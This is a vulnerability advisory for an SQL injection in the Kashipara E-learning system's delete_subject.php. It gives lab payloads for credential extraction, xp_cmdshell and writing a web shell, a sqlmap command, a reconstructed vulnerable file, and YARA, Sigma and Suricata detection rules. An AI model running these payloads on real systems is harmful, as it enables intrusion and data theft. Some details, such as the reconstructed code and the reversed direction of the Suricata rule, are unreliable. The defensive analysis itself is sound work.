CVE-2024-54929

Executive Summary

CVE-2024-54929 is a critical unauthenticated SQL Injection vulnerability discovered in the Kashipara E-learning Management System v1.0. The flaw resides in the /admin/delete_subject.php endpoint, where user-supplied input is directly concatenated into a SQL query without proper sanitization or parameterization. An attacker can exploit this by sending a crafted HTTP request to delete arbitrary database records, extract sensitive information (including user credentials and session data), or potentially achieve remote code execution via stacked queries or xp_cmdshell if the database server is misconfigured. The vulnerability has a CVSS v3.1 base score of 9.8 (Critical) due to network exploitability, low attack complexity, no privileges required, and no user interaction. No official patch has been released by the vendor, making this a high-priority threat for any organization using this software.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a standalone PHP application. The risk is primarily to organizations that have deployed this E-learning Management System on their infrastructure.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions or race conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
• User Interaction (UI): None (N) – The victim does not need to perform any action.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – An attacker can read all data in the database, including user passwords and personal information.
• Integrity (I): High (H) – An attacker can modify or delete any data in the database.
• Availability (A): High (H) – An attacker can delete critical data or cause a denial of service.

Threat Level: Critical. The combination of network exploitability, no authentication requirement, and the potential for complete data compromise makes this a severe threat.

Deep Dive & Mechanics

The vulnerability is a classic SQL Injection in the delete_subject.php script. The application likely constructs a SQL query similar to:

DELETE FROM subjects WHERE id = $_GET['id'];

The id parameter is taken directly from the URL query string and inserted into the SQL statement without any sanitization, escaping, or parameterized query (prepared statement). This allows an attacker to inject arbitrary SQL commands.

Example of a malicious request:

GET /admin/delete_subject.php?id=1 OR 1=1

This would delete all subjects in the table because 1=1 is always true.

More dangerous exploitation:

GET /admin/delete_subject.php?id=1 UNION SELECT username, password FROM admin_users

This would attempt to extract usernames and passwords from the admin_users table. The exact table and column names would need to be discovered through enumeration.

Potential for RCE (if database permissions allow):

On Microsoft SQL Server (if used), an attacker could execute:

GET /admin/delete_subject.php?id=1; EXEC xp_cmdshell 'whoami'

On MySQL, the INTO OUTFILE clause could be used to write a web shell:

GET /admin/delete_subject.php?id=1 UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/shell.php"

Vulnerable vs. Patched Code

Vulnerable Code (Kashipara E-learning Management System v1.0):

<?php
// admin/delete_subject.php
include 'db_connection.php';
$id = $_GET['id'];
$sql = "DELETE FROM subjects WHERE id = $id";
$result = mysqli_query($conn, $sql);
if ($result) {
    echo "Subject deleted successfully.";
} else {
    echo "Error: " . mysqli_error($conn);
}
?>

Patched Code (Conceptual - No official patch exists):

<?php
// admin/delete_subject.php
include 'db_connection.php';
$id = intval($_GET['id']); // Cast to integer
$sql = "DELETE FROM subjects WHERE id = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);
if (mysqli_stmt_affected_rows($stmt) > 0) {
    echo "Subject deleted successfully.";
} else {
    echo "Error: Subject not found.";
}
?>

The patched version uses intval() to ensure the input is an integer and uses a prepared statement with a parameterized query, completely preventing SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Download and install Kashipara E-learning Management System v1.0 on a local server (e.g., XAMPP, LAMP).
2. Ensure the application is accessible via http://localhost/elearning/.

Exploitation Steps:

1. Basic SQL Injection (Boolean-Based):

   curl "http://localhost/elearning/admin/delete_subject.php?id=1' AND '1'='1"
   

   If the page returns "Subject deleted successfully.", the injection point is confirmed.

2. Extracting Database Version (Error-Based):

   curl "http://localhost/elearning/admin/delete_subject.php?id=1 AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT VERSION())))"
   

   This will cause a MySQL error that reveals the database version.

3. Extracting Table Names (UNION-Based):

   curl "http://localhost/elearning/admin/delete_subject.php?id=1 UNION SELECT 1,2,3,4,5,table_name FROM information_schema.tables WHERE table_schema=database()-- -"
   

   (Adjust the number of columns based on the original query structure.)

4. Automated Exploitation with sqlmap:

   sqlmap -u "http://localhost/elearning/admin/delete_subject.php?id=1" --batch --dbs
   

Blue Team (Defensive)

Detection & Prevention:

1. Web Application Firewall (WAF) Rules:

   • Block requests containing SQL keywords (UNION, SELECT, DROP, xp_cmdshell, etc.) in the id parameter.
   • Rate-limit requests to the /admin/ directory.

2. Input Validation:

   • Ensure the id parameter is strictly an integer. Reject any request with non-numeric characters.

3. Database Hardening:

   • Use a dedicated database user with minimal privileges (e.g., only SELECT, INSERT, UPDATE, DELETE on specific tables). Do not use root or sa.
   • Disable xp_cmdshell on SQL Server.
   • Disable LOAD DATA INFILE and INTO OUTFILE on MySQL.

4. Code Fix (Immediate):

   • Apply the patched code shown above. Replace the vulnerable delete_subject.php file.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /admin/delete_subject.php with unusual parameters, such as:
    • id=1' OR '1'='1
    • id=1 UNION SELECT ...
    • id=1; DROP TABLE ...
    • id=1 AND SLEEP(5)
  • Anomalous outbound database traffic from the web server.
  • Unexpected database errors in HTTP responses (e.g., "You have an error in your SQL syntax").

• Host IOCs:

  • Unexpected files in the web root (e.g., shell.php, cmd.aspx).
  • New or modified database tables (e.g., backdoor, users_temp).
  • Unusual database queries in logs (e.g., SELECT * FROM mysql.user).
  • Web server logs showing repeated requests to /admin/delete_subject.php with SQL-like payloads.

• File IOCs:

  • Hash of the vulnerable file: admin/delete_subject.php (MD5: [Calculate from your specific version]).

Detection Engineering

YARA Rule

rule Detect_Kashipara_SQLi_DeleteSubject {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-54929 in Kashipara E-learning Management System"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-54929"
        severity = "critical"
    strings:
        $s1 = "/admin/delete_subject.php" nocase
        $s2 = "id=" nocase
        $sqli1 = "UNION" nocase
        $sqli2 = "SELECT" nocase
        $sqli3 = "DROP" nocase
        $sqli4 = "xp_cmdshell" nocase
        $sqli5 = "SLEEP" nocase
        $sqli6 = "OR 1=1" nocase
    condition:
        $s1 and $s2 and 1 of ($sqli*)
}

Sigma Rule

title: SQL Injection Attempt Against Kashipara E-learning Management System
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting the delete_subject.php endpoint (CVE-2024-54929)
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-54929
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "/admin/delete_subject.php?id="
        cs-uri-query|contains|all:
            - "UNION"
            - "SELECT"
    condition: selection
falsepositives:
    - Legitimate use of the word "UNION" in a parameter (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-54929 - SQL Injection Attempt on Kashipara E-learning Management System";
    flow:to_server,established;
    content:"/admin/delete_subject.php"; http_uri;
    content:"id="; http_uri;
    pcre:"/(UNION|SELECT|DROP|xp_cmdshell|SLEEP|OR\s+1=1)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-54929;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Apply the Code Fix: Replace the vulnerable admin/delete_subject.php with the patched version provided in the "Vulnerable vs. Patched Code" section.
2. Input Validation: Implement strict input validation on all user-supplied parameters across the entire application.
3. Database Hardening: Follow the Blue Team recommendations above.
4. WAF Rules: Deploy the Suricata or equivalent WAF rules to block exploitation attempts.

Long-Term Actions:

1. Vendor Contact: Attempt to contact Kashipara to request an official patch. If no response, consider migrating to a different, actively maintained E-learning platform.
2. Security Audit: Conduct a full security audit of the entire application to identify and fix other potential vulnerabilities.
3. Web Application Firewall: Implement a WAF (e.g., ModSecurity, Cloudflare) with OWASP Core Rule Set (CRS) enabled.
4. Regular Updates: Ensure all software components (PHP, MySQL, web server) are kept up-to-date with the latest security patches.

Valters IT